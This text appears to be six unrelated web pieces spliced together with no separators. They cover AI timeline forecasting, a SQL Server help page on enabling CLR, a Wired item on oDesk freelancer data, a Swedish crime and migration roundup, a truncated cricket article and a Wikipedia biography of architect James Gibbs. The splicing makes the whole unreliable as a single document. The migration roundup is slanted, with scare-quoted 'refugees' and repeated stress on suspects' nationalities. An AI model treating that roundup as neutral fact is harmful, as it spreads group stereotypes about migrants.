We don’t know how much computation the human brain does. The estimates I’ve seen differ by many orders of magnitude.
The human brain doesn’t work much like today’s computers do.
In many domains, we can achieve the same level of performance with varying proportions of hardware/software advantage. Great algorithms compensate for lacking hardware, while mountains of computation can compensate for unsophisticated algorithms.
Most AI scientists I’ve spoken to seem to think that software, not hardware, will be the key bottleneck to HLMI. To illustrate: “We’ve [probably] had the computing power of a honeybee’s brain for quite a while now, but that doesn’t mean we know how to build tiny robots that fend for themselves outside the lab, find their own sources of energy, and communicate with others to build their homes in the wild.” Every “difficulty of software” fudge factor I’ve seen added to a hardware trend analysis seems to have been pulled from one’s gut. Note that the distinction between hardware and software is not a particularly clean one. Recent progress in deep learning is often attributed to the interaction of particular classes of machine learning algorithms with the computing architectures of graphical processing units originally built for other purposes — so what fraction of the credit should go to “hardware” vs. “software”? Similarly, application-specific integrated circuits (ASICs) and field-programmable gate arrays (FPGAs), which are sometimes used in machine learning, somewhat blur the line between “hardware” and “software.”
For these reasons, we find such trend extrapolations to be of very limited usefulness. To sum up perhaps the most important weakness of this approach, these trend extrapolations are based on a very narrow conception of computing power (e.g. “operations per second”), and there are many advances (e.g. better algorithms, better FPGAs) that could be very important for real-world importance while not necessarily affecting this narrow definition (“operations per second”) much, and we see no clear way to perform a relevant trend extrapolation for advances along these lines.
Nevertheless, it’s a bit interesting that such simple trend extrapolations agree so closely with expert opinion. Unfortunately, these lines of evidence are not fully independent, since it’s my impression that Moravec’s and Kurzweil’s hardware extrapolations have been widely known for some time, and may have strongly influenced many of the expert judgments made during the last ~15 years.
Path-specific forecasting
One method used to place a bound on how soon HLMI might arrive is to enumerate ways in which current AI systems fall short of HLMI, and then try to estimate the shortest possible path one can imagine between today’s capabilities and HLMI.
Thus one might say “Well, it seems to me that HLMI requires hierarchical planning, and long-term memory, and the integration of logical reasoning and statistical machine learning, and X, and Y, and we’re not anywhere close to solving any of those things, so we’re at least, I would guess, 20 years away.”
Or, if you think video game performance is a good benchmark for progress toward HLMI, then you might think “Right now the most general AI system can’t even beat the Atari 2600 library of games. It’ll probably be at least 15 years before it beats human-level performance for every game in the Playstation 3 library. Call me when it has beaten Grand Theft Auto V with nothing but pixel input.”
I haven’t seen anyone use much more than their gut for such lower bounds on time-to-HLMI, but it’s definitely part of the reasoning I’m using when I confidently predict we won’t have HLMI in 10 years.
Possible disruptions
In May 2013, I wrote that HLMI forecasting is further complicated by the fact that, over such long time scales, major disruptions may greatly impact HLMI timelines.
One potential disruption I named was “A tipping point in development incentives.” In retrospect, one might argue that this disruption was happening precisely as I was writing about it. As UC Berkeley AI scientist Stuart Russell has pointed out, in the past few years several major applications of AI have crossed a threshold of performance “from laboratory research to economically valuable technologies,” at which point “a virtuous cycle takes hold whereby even small improvements in performance are worth large sums of money, prompting greater investments in research,” with the result that “industry [has probably invested] more in the last 5 years than governments have invested since the beginning of the field.”
Other potential disruptions I describe briefly in my earlier post, with links to relevant literature, include:
An end to Moore’s law.
Depletion of low-hanging fruit.
Societal collapse.
Disinclination to proceed with AI development (e.g. due to widely held safety concerns).
Breakthroughs in cognitive neuroscience which reveal the brain’s algorithms for general intelligence.
Human enhancement which accelerates progress in many fields, including AI.
Quantum computing.
What should we learn from past AI forecasts?
(This section added May 2016.)
An additional input into forecasting AI timelines is the question, “How have people predicted AI — especially HLMI (or something like it) — in the past, and should we adjust our own views today to correct for patterns we can observe in earlier predictions?” We’ve encountered the view that AI has been prone to repeated over-hype in the past, and that we should therefore expect that today’s projections are likely to be over-optimistic.
To investigate the nature of past AI predictions and cycles of optimism and pessimism in the history of the field, I read or skim-read several histories of AI and tracked down the original sources for many published AI predictions so I could read them in context. I also considered how I might have responded to hype or pessimism/criticism about AI at various times in its history, if I had been around at the time and had been trying to make my own predictions about the future of AI.
Some of my findings from this exercise are:
The peak of AI hype seems to have been from 1956-1973. Still, the hype implied by some of the best-known AI predictions from this period is commonly exaggerated. [More]
After ~1973, few experts seemed to discuss HLMI (or something similar) as a medium-term possibility, in part because many experts learned from the failure of the field’s earlier excessive optimism. [More]
The second major period of AI hype, in the early 1980s, seems to have been more about the possibility of commercially useful, narrow-purpose “expert systems,” not about HLMI (or something similar). [More]
The collection of individual AI forecasts graphed above is not very diverse: about 70% of them can be captured by three categories: (1) the earliest AI scientists, (2) a tight-knit group of futurists that emerged in the 1990s, and (3) people interviewed by Alexander Kruel in 2011-2012. [More]
It’s unclear to me whether I would have been persuaded by contemporary critiques of early AI optimism, or whether I would have thought to ask the right kinds of skeptical questions at the time. The most substantive critique during the early years was by Hubert Dreyfus, and my guess is that I would have found it persuasive at the time, but I can’t be confident of that. [More]
I can’t easily summarize all the evidence I encountered that left me with these impressions, but I have tried to collect many of the important quotes and other data on another page titled What should we learn from past AI forecasts?
Why do people disagree?
Why do experts disagree so much about HLMI timelines? Unfortunately, virtually no HLMI forecaster provides enough detail from their forecasting reasoning for someone else to say “Okay, see, I disagree with the numbers used in the model of section 5 of your analysis, and that seems to be the main reason we disagree.” Expert forecasts often seem to be drawing in part on explicit factors such as survey results or hardware trend extrapolations, but there always seems to be an important element of gut intuition as well, which the forecaster has never articulated, and may not be able to articulate.
In conversation I have occasionally been able to pin down apparent reasons for disagreement between my AI timelines and someone else’s AI timelines, but in cases when I seem to change their mind about some piece of their model — e.g. about the significance of past wrong AI forecasts, or about how one should extrapolate rates of AI progress given that the field received very little investment for most of its history compared to today — this rarely seems to shift their overall estimate, which suggests the pieces of the forecasting model we discussed may have been epiphenomenal to their timeline estimates all along. Perhaps this is also true of my own AI forecasts.
Conclusion
So what do we know about HLMI timelines? Very little.
Expert surveys and quantitative hardware trend extrapolations suggest HLMI is likely to be developed sometime during the 21st century, but only weakly. In general, it seems that for experts and laypeople alike, only very wide confidence intervals for “years to HLMI” are appropriate. For example, my own 70% confidence interval for “years to HLMI” is something like 10–120 years, though that estimate is unstable and uncertain.
SourcesHow to Manually Enable CLR on SQL Server
2 minutes to read
In this article
Applies To: System Center Service Manager 2010 SP1
Use the following procedure to manually enable common language runtime (CLR) on the SQL Server that hosts the restored Service Manager database.
To enable CLR
On the Windows desktop, click Start, click All Programs, click Microsoft SQL Server 2008 R2, or Microsoft SQL Server 2008, and then click SQL Server Management Studio. In the Connect to Server dialog box, follow these steps: In the Server Type list, select Database Engine. In the Server Name list, select the server name for your Service Manager database. In the Authentication list, select Windows Authentication, and then click Connect. In the Microsoft SQL Server Management Studio toolbar, click New Query. Type the following in the SQLQuery pane. sp_configure @configname=clr_enabled, @configvalue=1 GO RECONFIGURE GO Press F5 to execute this script. In the Messages pane, observe that Configuration option 'clr' enabled is displayed.
Did you find this information helpful? Please send your suggestions and comments about System Center Service Manager documentation to scsmdocs@microsoft.com.Infographic showing when the world's freelance community logs onto oDesk by country, with each circle representing the percentage of the internet population employed by oDesk online at that time (up to 0.05%) Josh Gowan/Stefano De Sabbata/Mark Graham
This article was taken from the May 2014 issue of Wired magazine. Be the first to read Wired's articles in print before they're posted online, and get your hands on loads of additional content by <span class="s1">subscribing online.
oDesk claims to be the world's largest online marketplace for remote workers. So what can its data reveal about how -- and when -- the world's freelancers get to work? A team of researchers at the Oxford Internet Institute mapped it out. "In the Philippines, there isn't really a shift between night and day in terms of hours worked, which means they are matching themselves to an American market, and they do more stuff like personal assistance," says Mark Graham, who heads the Information Geographies programme at the institute. "But if you look at India, there's a clearer night-to-day working pattern -- maybe that's because they're doing work, such as writing software, where it's less important to be synchronous with their clients."
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His research looks at "information as it gets mediated by technology -- does it change older geographies of information or reinforce them?" So, according to Graham, Twitter has a dispersed geography: Indonesia is the site's second-biggest population.
Academic publishing, though, remains concentrated in just a few parts of the world.
Graham looked at the oDesk data as the first part of a project on virtual labour: "Is this a way to address unemployment in big swathes of the world, or is it just creating digital sweatshops?"
Data visualisations are a geographer's bread and butter ("We've always done this. If you say the phrase 'data visualisation' to a geographer, you'll get a puzzled look, because what kind of visualisation doesn't draw on data?"), but fieldwork is needed to take the project on. Over the next two-and-a-half years, Graham will visit eight countries in Asia and Africa. "You can't answer everything by slurping up big data sets," he says. "You need to go and ask questions sometimes."Per Gudmundson of the daily Svenska Dagbladet questions the repatriation of ISIS combatants to Sweden: "Who is in charge of the security aspect? Anyone can pretend to be a defector."
The police have about 17,000 deportation cases piled up. Despite the government's request for a clampdown on people staying in Sweden after having received deportation notices, more people are staying in the country illegally. 54,000 people have refused to leave the country after being denied asylum since 2011.
"Refugees" plundered a train's dining car and threatened the staff. Railroad employees had assured all "refugees from Syria" that they would not be thrown off any train if they lacked tickets. This led to thousands of people claiming to be from Syria in order to get a free ride.
The authorities are well aware that several war criminals may have come to Sweden this year, and the police War Crimes Commission has been reinforced.
On September 3, a 37-year-old man with a serious criminal record was shot dead in a car in the Stockholm suburb of Hässelby Gård. His two small children were sitting in the back seat at the time, but were physically unharmed. A witness told the police that the youngest child screamed: "Help, help, they've killed my daddy!" A 23-year-old man, suspected of the murder, is now in custody, but vehemently denies the charges. Concern about safety is now growing in Hässelby Gård, which was the scene of another shooting in June, when two girls crossing the town square were wounded in crossfire.
On September 4, it was reported that the 17-year-old nasheed [hymn of praise] singer from Lund, who last spring ran away to join the Islamic State, has returned to Sweden. The young man supposedly got help from the National Coordinator Against Violent Extremism, Mona Sahlin, who has worked closely with his family. When he first arrived in Syria, he seems to have embraced life there. In a video posted on Facebook on May 10, he can be seen with a Kalashnikov over his shoulder, singing a nasheed dedicated to ISIS. He also urged others to follow his example: "I want to say that I wish you all could be with me here. It is just as perfect and wonderful as I had expected."
Now, he is singing a different tune. After coming home, he wrote on Facebook that he no longer supports the actions of ISIS. "Their beliefs are extreme... and they ridicule the noble ulama (scholars)... I do not support ISIS, among other things because of their behavior towards both Muslims and innocent non-Muslims."
Not everyone is enthusiastic about the 17-year-old's conversion, however. Journalist Per Gudmundson of Svenska Dagbladet questions whether it is really the National Coordinator's job to arrange for repatriation of ISIS combatants to Sweden: "Who is in charge of the security aspect? Anyone can pretend to be a defector." Gudmundson noted that the 17-year-old is still a fundamentalist and that his problem with ISIS seems to be mainly that they have caused disruption in the Muslim community and used violence against other Muslims.
On September 9, the local Gefle Dagblad continued its investigative reporting on extremist Muslims in the city of Gävle, and uncovered that Ali Al-Ganas, head of the Gävle mosque's dawah group (missionary group) hopes one day to have a passport issued by the Islamic State, and travel to the Caliphate. On a previous occasion, Al-Ganas celebrated two men who died in battle fighting for ISIS, an event that caused the mosque publicly to disown him and claim they would have nothing more to do with him. He is now, however, evidently responsible for the mosque's missionary work through Swedish United Dawah Center (SUDC).
The next day, Gefle Dagblad revealed that Gävle's imam, Abo Raad, is the leader of militant Islamism in Sweden. As far back as 2005, when two Swedes were convicted of financing terrorist acts in northern Iraq, Abo Raad was mentioned in the court ruling. Witnesses said that Raad urged mosque visitors to give money to the families of suicide bombers. The court ruling stated:
"The imam prayed for those who were about to blow themselves up in an attack on the U.S. military. A prayer rug was placed, where the mosque visitors could put money, which according to the imam would go to suicide bombers and orphaned children."
The day the article on Abo Raad was published, the paper received a bomb threat. A young woman called the police, demanding that Gefle Dagblad remove from their website all articles on the mosque, particularly those relating to the imam. However, no bomb was found and the Gävle mosque quickly denounced the threat.
On September 10, after reviewing their file on the IKEA-murderer, the Immigration Service stated that the man had displayed no signs of being mentally unstable before committing the double murder. The Eritrean citizen had been aware for a long time that he would not be allowed to stay in Sweden, as he already had permanent residency status in Italy, and had come to an appointment with the Immigration Service an hour before the murders. "He left the premises without showing any kind of aggression," said Kicki Kjämpe, Unit Manager of the Immigration Service in Västerås.
The indictment against the man was postponed until October 16, pending results of the psychiatric evaluation.
On September 14, a woman in her twenties was run over by a car outside a school in central Malmö. She sustained severe injuries, including a cerebral hemorrhage. The driver of the car turned out to be a 20-year-old Syrian refugee with several previous convictions. Before the accident, he had driven back and forth on the bicycle paths near the school at high speed. The suspect fled the scene, but was later arrested by the police and is now in custody. The police would not say if there was any connection between the suspect and the victim. The Syrian man had only been in Sweden for two and a half years, but has already been convicted of crimes four times: for theft, driving without a license and violating the "knife law."
On September 16, the trial of a 60-year-old man from Rwanda, charged with genocide, for murdering thousands of people in his homeland, began in Stockholm. The trial is being held in Sweden because the man has lived in the country for many years and is now a Swedish citizen. The District Attorney and police investigators have made several trips to Rwanda, and interviewed witnesses. The man, whose name the Swedish authorities did not release, has already been convicted in absentia in Rwanda.
Five crime scenes in southern Rwanda are named in the indictment, among them a municipal building in Muyira, where hundreds of people were massacred, and the Nyamure mountain, where thousands were killed when the Hutu ethnic group tried to eradicate the Tutsi minority. The 60-year-old man was identified as a local leader during the genocide.
"He ordered them to kill and he killed people himself, just like everybody else," said one witness, a man who took part in the massacre himself and is therefore in prison.
The witness stated that about 2,000 men, women and children thought that they would be protected in the municipal building. After three days without food and water, the killers showed up, led by the accused 60-year-old. "They said: Get in there, get to work."
"Work" meant killing Tutsis. When the killers got too tired, they were relieved and replaced by a new group. To avoid killing each other by mistake, they wore flowers on their clothes. In wiretapped conversations, the 60-year-old can be heard calling Tutsis "cockroaches."
It is the second time a Rwandan has been tried on a genocide charge in Sweden. In 2013, another man was sentenced to life in prison for genocide. Despite both these men living in freedom for many years in Sweden, Chief Prosecutor Tora Holst said that authorities are now making it clear that "Sweden is not a haven for suspected war criminals and genocidists."
On September 16, the trial (right) began of a Rwandan immigrant in Sweden. The man is accused of genocide, for murdering thousands of people in his homeland. He is the second person to be put on trial in Sweden in the past three years on charges of mass-murder during the Rwandan Genocide.
However, the authorities are well aware that several war criminals may have come to Sweden this year. The number of reports of such individuals has increased, and the police War Crimes Commission has been reinforced, as have the resources of the Immigration Service and District Attorney.
On September 16, three so-called unaccompanied refugee children allegedly raped a boy in the village of Hammarlöv, in the far south of Sweden. The suspects, who claim to be between 15 and 18 years old, were housed at the refugee center Maglarp Transit. One is from Iran, the other two from Afghanistan. All three have been remanded on suspicion of aggravated rape of a child (which means the victim is under 15 years old) and obstruction of justice, indicating that they threatened the boy with reprisals if he reported the rape. The police have been reticent about the incident, and mainstream media has not mentioned anything about the suspects being "refugees."
On September 18, employees of the Swedish State Railways (SJ) reported on how "refugees" plundered a train's dining car and threatened the staff. There were about 200 unregistered migrants on the train, which was travelling from Malmö to Haparanda in the far north of Sweden (where Finland-bound migrants go). Railway employees who spoke to the online magazine Fria Tider described how many of the migrants acted aggressively, and the atmosphere became so threatening that the staff had to lock themselves in. After the incident, Swedish State Railways ordered the staff not to talk to anyone about the migrants' behavior.
This was just the latest in a long line of incidents on board Swedish trains. Railroad employees have assured all "refugees from Syria" that they would not be thrown off any train if they lacked valid tickets. This has led to thousands of people claiming to be from Syria, in order to get a free ride.
On September 21, an internal email sent to employees working on the trains between Stockholm and Luleå was leaked, bringing attention to the seriousness of the situation. The email said that SJ has hired security guards to help staff keep order in the rail cars, alcoholic beverages will no longer be sold on board, tickets will now be checked before the passengers are let onto the platform, and leaflets in Arabic and Persian about the no-smoking policy will be handed out to passengers. SJ also wrote to the employees: "We know that you carry a heavy load out there. We have now set a limit for the number of support cars [carrying migrants and security guards] to a maximum of four."
On September 21, after a local official in Karlskrona -- on his own authority -- granted a building permit for a minaret, from which calls to prayer will be broadcast over loudspeakers every Friday, the members of local Sweden Democrats Party placed a raft in the harbor with the message: "No prayer calls in Karlskrona!" The city's governing Social Democrat Party claimed that the protest was a provocation, and insisted that Karlskrona should be a "welcoming city." The Sweden Democrats want the city's residents to be the ones who decide if they want to hear prayer calls every Friday.
On September 24, a 25-year-old Eritrean man was arrested for murder in Sweden. Two days before his arrest, he murdered a 20-year-old woman with whom he had some kind of relationship; the police will not divulge the nature of their connection. According to some sources, the woman was a relative. The suspect arrived in Sweden via Ethiopia in February 2015. The victim's three-year-old daughter, in the apartment when her mother was murdered, was found by the police when they arrived at the scene. Relatives had become concerned when the woman did not answer her phone. The little girl may have been alone in the apartment with her dead mother for over 24 hours, and most likely witnessed her mother's murder. The suspect has been remanded, and has admitted to killing the woman, but said he did not intend to kill her.
On September 28, the police revealed that they have about 17,000 deportation cases piled up. Despite the government's recent request for a clampdown on people staying in Sweden after having received deportation notices, more and more people are choosing to stay in the country illegally. The police say they cannot prioritize these cases "in the middle of an ongoing refugee crisis."
No one knows exactly how many illegal immigrants there are in Sweden, but 54,000 people have refused to leave the country after being denied asylum since 2011. The police have a pretty hopeless task keeping track, because they are not allowed to check people's identity cards based on ethnicity, skin color or religion.
On September 28, it was reported that the Immigration Service wants to rent an old shooting range from the Swedish Army in Rinkaby. outside the southern city of Kristianstad, to create a giant refugee camp that can accommodate 10,000 refugees. Huge Scout camps have been held there the last few years. In 2011, the World Scout Jamboree, with 40,000 Scouts from all over the world, was held on the Rinkaby field. At first, the Immigration Service denied that the camp would actually consist of tents, but since then, Prime Minister Stefan Löfven has signaled that tent camps could become a reality if the stream of refugees continues unabated. The small village of Rinkaby has a population of 800 people.
On September 30, the daily Svenska Dagbladet reported that due to the housing shortage in Sweden, and with 2,000 new asylum seekers arriving each day, landlords stand to make huge profits. Aleris, one of the biggest housing providers for so-called unaccompanied refugee children, charges the government 60,000 kronor ($7,200 USD) a month -- more expensive than a nursing home with around-the-clock staff -- for an apartment that normally rents for 5,000 kronor (about $600 USD).Play 01:43 Play 01:43 West Indies' year-long saga continues
Andy Roberts posed a pertinent question in the aftermath of Phil Simmons' suspension as West Indies coach. As a former coach himself, he wanted to know why the WICB rushed into appointing Eldine Baptiste as interim coach for the tour of Sri Lanka.
Simmons was charged with "breaches of confidentiality and bringing the West Indies Cricket Board into disrepute". The board stated that it had been advised by the management that the responsibilities of the head coach would pass to Baptiste "until the matter is cleared up".
It noted that Baptiste was already assigned to Sri Lanka as the selector on tour, hinting that it was a money-saving arrangement. Yet Stuart Williams, the assistant coach, is also there. He filled in as head coach for the tour of South Africa and the World Cup following the sacking of Ottis Gibson just over a year ago, while the WICB waited for Simmons' availability at the end of his eight highly acclaimed years with Ireland. The others on the coaching staff, Andre Coley and Curtly Ambrose, are also there.
The indication is that, if the Simmons matter is not "cleared up" within the WICB's deadline of seven days, Baptiste would be ready to take over. It is known that he had initially applied for the job that eventually went to Simmons; his coaching credentials include his time in charge of the Stanford All Stars in their US$20 million victory over England in 2009, a brief period with Kenya, stints in South Africa and with Leeward Islands.
The Antiguan allrounder had ten Tests with the invincible West Indies team of the 1980s and, apart from the Leewards, also played for two South African provinces and Kent and Northamptonshire in the English County Championship.
Phil Simmons couldn't understand how the wishes of the coach, captain and chief selector could be overturned by three other selectors © WICB Media
He was one of the three selectors, along with Courtney Walsh and Courtney Browne, who thwarted the efforts of Simmons and panel chairman Lloyd to reinstate Dwayne Bravo and Kieron Pollard to the ODI squad. His elevation, brief as it may be, strengthens his status in the hierarchy of the West Indies set-up. As he starts from scratch, his relationship with the players is necessarily short of those established by Williams over time and, already, by Simmons.
Roberts' other point was that if Simmons felt as strongly as he did over the issue, he should have resigned before releasing his exasperation and anger to the media on the eve of the team's departure for Sri Lanka. Simmons said then that even "an exceptional speech" to the selectors by Lloyd explaining why he felt it was time the two were back in the squad could not shift the three defiant selectors. It was a significant u-turn by Lloyd, who headed the same panel that dropped them in the first place, a decision he had strongly defended then.
Simmons claimed, on solid evidence, that captain Jason Holder, who is not a selector, supported the call for the return of Bravo and Pollard. He was at a loss to understand how the wishes of the coach, captain and the chief selector, who are ultimately accountable for performances on the field, could be overturned by three selectors with only a peripheral bearing on the team's results. He looked elsewhere for answers, charging "too much interference from outside in the selection of the ODI squad".
The response from the WICB was swift and inevitable. The management "had taken action to suspend the head coach, pending an investigation into the issue". The follow-up from chief executive officer Michael Muirhead was simply self-aggrandising. "We are trying to manage the business of West Indies cricket in a very particular professional manner," he said. "Integrity and professionalism are high on our agenda and we will not compromise on that."
In fact, the WICB had rejected recommendations for a complete restructuring advanced in two reports it commissioned, the first by former Jamaica |
Matthew Prior; travel books including Egypt, the South Seas, Russia, Hungary, Lapland, Virginia, Ceylon and Abyssinia; missionary travels including China, Formosa, Guinea, Borneo and the East Indies; books on religion including both Anglican and Roman Catholic works; and even cookery books. The most significant of the architectural works were Vincenzo Scamozzi's L'Idea dell'Architettura Universale, Sebastiano Serlio's Sette Libri d'Architettura, Domenico Fontana's Della transportatione dell'obelisco Vaticano e delle fabriche di Sisto V, Colen Campbell's Vitruvius Britannicus, Giacomo Leoni's The Architecture of A. Palladio, in Four Books, William Kent's The Designs of Inigo Jones and Robert Wood's The ruins of Palmyra. Gibbs is also known to have owned at least 117 paintings, including works by Canaletto, Giovanni Paolo Panini, Sebastiano Ricci, Antoine Watteau and Willem van de Velde the Younger.[27] Sculptures owned by Gibbs included a bust of Flora by François Girardon, a bust of Matthew Prior by Antoine Coysevox and busts of Alexander Pope and Gibbs by Rysbrack.[27]
Death and will [ edit ]
Gibb's memorial, St Marylebone Parish Church
By 1743 Gibbs, who was fond of wine and food, was described as "corpulent".[28] In June 1749 Gibbs set out for the spa town of Aix-la-Chapelle for treatment: he long suffered from kidney stones and had lost weight and was in pain. He remained until September when he returned to London.[29] Gibbs never married.[30] He died in his London house on the corner of Wimpole Street and Henrietta Street on 5 August 1754 and was buried in St Marylebone Parish Church, and a modest wall tablet was erected with this inscription:
Underneath lye the Remains of JAMES
GIBBS Esqr. whose Skill in Architecture
appears by his Printed Works as well
as the Buildings directed by him,
Among other Legacys & Charitys
He left One Hundred Pounds towards
Enlarging this Church
He died Augt. 5th. 1754.
Aged 71.
In his will made on 9 May 1754, Gibbs left £1000, his Plate, and three houses in Marylebone to Lord Erskine in gratitude for favours from his father the late Earl of Mar. Further bequests included £1,400 and two houses in Marylebone and Argyll Ground Westminster to John Sherwine of Soho plus £100 to be given to a charity of Sherwine's daughters choice, to Robert Pringle of Clifton a Cavendish Square house and £400 and to Cosmo Alexander (1724–1772) a Scottish painter "my house I live in withall [sic] its furniture as it stands with pictures bustoes [sic] etc". Further bequests of £100 each went to William Thomas, Dr. William King, St Bartholomew's Hospital and the Foundling Hospital. The Trustees of Radcliffe Camera were given "all my printed books, Books of Architecture books of prints and drawings books of maps and a pair of globes with leather covers to be placed... in the library... of which I was architect... next to my Bustoe".[31]
Architecture [ edit ]
Early works [ edit ]
Mar attached Gibbs' name among the list of architects to be responsible for the new churches to be built under the Act for Fifty New Churches, and in 1713 he was appointed one of the Commission's two surveyors, the contemporary term for an architect, alongside Nicholas Hawksmoor. He held this post for two years, until he was forced out by the Whigs, because of his Tory sympathies, and replaced by John James.[32] During his tenure he completed his first important commission, the church of St Mary-le-Strand (1714–17), in the City of Westminster. A previous design had been prepared by the English Baroque architect Thomas Archer, which Gibbs developed in an Italian Mannerist style, influenced by the Palazzo Branconio dall'Aquila in Rome, attributed to Raphael, as well as incorporating elements from Wren.[33] Such strong Italian influence was not popular with the Whigs, who were now taking political control following the accession of King George I in 1714, leading to Gibbs' dismissal, and causing him to modify the foreign influences in his work.[34] Colen Campbell's Vitruvius Britannicus (1715), which promoted the Palladian style, also contains unfavourable comments regarding Carlo Fontana and St Mary-le-Strand.[34] Campbell went on to replace Gibbs as the architect of Burlington House around 1717, where the latter had designed the offices and colonnades for the young Lord Burlington.
Design for the pavilions at Stowe; the stone pyramidal roof is no longer atop either pavilion
Other early designs include the house of Cannons, Middlesex (1716–20), for James Brydges, 1st Duke of Chandos, and the tower of Wren's St Clement Danes (1719).[35] At Twickenham he designed the pavilion at Orleans House, called the Octagon Room, for a Scottish patron, James Johnston (1655–1737) former Secretary of State for Scotland, about 1720.[36] It is the only part of the house and grounds that has survived.
Country houses [ edit ]
Gibbs' mature style emerges in the early 1720s, with the house of Ditchley, Oxfordshire (1720–22), for George Lee, 2nd Earl of Lichfield. It typifies his conservative domestic manner, which changed little throughout the rest of his career.[37] His other houses include Sudbrooke Lodge, Petersham (1728), for the Duke of Argyll, works at Wimpole Hall, Cambridgeshire, for the 2nd Earl of Oxford, Patshull Hall, Staffordshire (1730) for Sir John Astley, and modifications to Colen Campbell's designs at Houghton Hall in Norfolk. Gibbs also completed the Gothic Temple (1741–48), a triangular folly at Stowe, Buckinghamshire, and now one of the properties leased and maintained by The Landmark Trust. Other garden buildings at Stowe include the pair of "Boycott Pavilions", which were altered by Giovanni Battista Borra in 1754 to replace the pyramidal stone roofs with more conventional domes.[38]
Churches [ edit ]
Gibbs designed one church for the Commission for Building Fifty New Churches, St Mary le Strand. Construction began in 1714 and it was complete by 1717. Between 1721 and 1726 Gibbs designed his most important and influential work, the church of St Martin-in-the-Fields, located in Trafalgar Square, London. Gibbs' initial radical design for the commission was for a circular church, derived from a design by Andrea Pozzo; its illustration in Gibbs' book was to influence several adaptations by Neoclassical architects.[39] This was rejected by the commission, and Gibbs developed the present rectangular design. The layout and detailing of the building owes much to Wren, in particular the church of St James', Piccadilly.[40] However, Gibbs' innovation at St Martin's was to place the steeple centrally, behind the pediment.[41] By contrast, Wren's steeples were usually adjacent to the church, rather than within the walls. This apparent incongruity was criticised at the time,[41] but St Martin-in-the-Fields nevertheless became a model for church buildings, particularly for Anglican worship, across Britain and around the world.[39]
At the same time, Gibbs designed a chapel of ease for the 1st Earl of Oxford, now known as St Peter, Vere Street (1721–24).[37] In 1725 he designed All Saints', Derby, now Derby Cathedral, on similar lines to St Martin's, although at Derby the original gothic steeple was retained.[41] Gibbs, the first British architect to do so,[42] created numerous designs for funeral monuments, often collaborating with the sculptor Michael Rysbrack. In 1733 Gibbs was commissioned by Lord Foley to adapt the chapel from Cannons House (Gibbs was one of the architects involved in designing Cannons), as the parish church at Great Witley.[43]
St Bartholomew's Hospital [ edit ]
In 1723 Gibbs was appointed a governor of St Bartholomew's Hospital,[44] which led to him being commissioned to redesign the hospital. In 1728 he produced a design with four near identical blocks around a square 200 by 160 feet (61 by 49 m); he gave his services for free. The first block to be built, the north, administration block was constructed from 9 June 1730, using Bath Stone (this would be used for all the blocks). It was finished in 1732 and contains the Great Hall and the main staircase, the walls of which are covered by murals painted by William Hogarth, depicting Christ healing the sick at the Pool of Bethesda and the parable of the good Samaritan. The other blocks contained wards. The south block was built from 1735 to 1740 (demolished 1937). the west block was built from 1743 to 1753; it was delayed due to the War of the Austrian Succession. The east block was built 1758–68 to Gibbs' design.
The North block, St Bartholomew's Hospital, London
Universities [ edit ]
Fellows' Building, King's College, Cambridge
Gibbs worked at both Oxford and Cambridge Universities. He shares the credit, with James Burrough, for designing the Senate House at Cambridge.[45] The Fellows' Building at King's College (1724–30) is his work entirely. A simple composition, similar in style to his houses, the building is enlivened by a central feature incorporating an arch, within a doric portal, and a Diocletian window, all under a pediment. This mannerist composition of features from Wren and Palladio is an example of Gibbs' more adventurous Italian style.[41]
The Radcliffe Camera, Oxford
More adventurous still was Gibbs' last major work, the Radcliffe Camera, Oxford (1739–49). A circular library building was first planned by Hawksmoor around 1715, but nothing was done at the time. Sometime before 1736, new designs were submitted by Hawksmoor and Gibbs, with the latter's rectangular design being preferred. However, this plan was abandoned in favour of a circular plan by Gibbs, which drew on Hawksmoor's 1715 scheme, although it was very different in detail.[46] Gibbs' design saw him returning to his Italian mannerist sources, and in particular shows the influence of Santa Maria della Salute, Venice (1681), by Baldassarre Longhena. The building incorporates unexpected vertical alignments: for instance, the ribs of the dome do not line up with the columns of the drum, but lie in between, creating a rhythmically complex composition.[46]
James Gibbs by John Michael Williams c.1737–40
Published works [ edit ]
Gibbs published the first edition of A Book of Architecture, containing designs of buildings and ornaments in 1728, dedicated to one of his patrons John Campbell, 2nd Duke of Argyll. It was a folio of his building designs both executed and not, as well as numerous designs for ornaments and including 150 engraved plates covering 380 different designs. He was the first British architect to publish a book devoted to his own designs.[47] The major works illustrated include St Martin-in-the-Fields (including the unexecuted version with a circular nave), St Mary le Strand, the complete schemes for King's College Cambridge and the Public Building (including the Senate House) at Cambridge University, numerous designs for medium-sized country houses, garden building and follies, obelisks and memorial columns, church memorials and monuments, as well as wrought-iron work, fireplaces, window and door surrounds, Cartouche (design) and urns. The first page of the introduction included: '...such a Work as this would be of use to such Gentleman as might be concerned in Building, especially in the remote parts of the Country, where little or no assistance for designs can be procured'. It was intended to be a pattern book for both architects and clients, and became, according to John Summerson, "probably the most widely-used architecture book of the century, not only throughout Britain, but in the American colonies and the West Indies".[46] For example, Plate 58 was an inspiration for the river façade of Mount Airy, Richmond County, Virginia, and perhaps also for the floorplan of Drayton Hall in Charleston County, South Carolina.[48]
Other published works by Gibbs include The Rules for Drawing the Several Parts of Architecture (1732), which explained how to draw the Classical orders and related details and was used well into the 19th century,[46] and Bibliotheca Radcliviana subtitled A Short Description of the Radcliffe Library Oxford (1747) to celebrate the Radcliffe Camera, including a list of all the craftsmen employed in the building's construction as well as twenty-one plates.[49] In 1752 he published a two-volume translation of the Latin book De Rebus Emanuelis by a 16th-century Portuguese Bishop Jerome Osorio da Fonseca; his English title was The History of the Portuguese during the Reign of Emanuel. It is a history book with accounts of warfare, voyages of discovery from Africa to China (including descriptions of the religious beliefs of these countries) and also the initial colonisation of Brazil.[50]
List of architectural works [ edit ]
The following list includes Gibbs' most significant works.[51]
Public buildings [ edit ]
Radcliffe Camera, Oxford University
Interior of dome, Radcliffe Camera, Oxford University
Interior, Radcliffe Camera, Oxford University
Interior, Radcliffe Camera, Oxford University
Staircase ceiling, Radcliffe Camera, Oxford University
The Senate House, Cambridge University
The Senate House, Cambridge University
East front, Fellows' Building, King's College Cambridge
Great Hall, St Bartholomew's Hospital
Staircase with Hogarth mural paintings, St Bartholomew's Hospital
Centre of east block, St Bartholomew's Hospital
Church buildings [ edit ]
West front, St Mary le Strand
East front, St Mary le Strand
Interior looking east, St Mary le Strand
Interior looking east, St Mary le Strand
The apse plasterwork, St Mary le Strand
East front window, St Mary le Strand
Pulpit, St Mary le Strand
Steeple, St Clement Danes
West front, St Martin-in-the-Fields
East front, St Martin-in-the-Fields
Interior looking east, St Martin-in-the-Fields
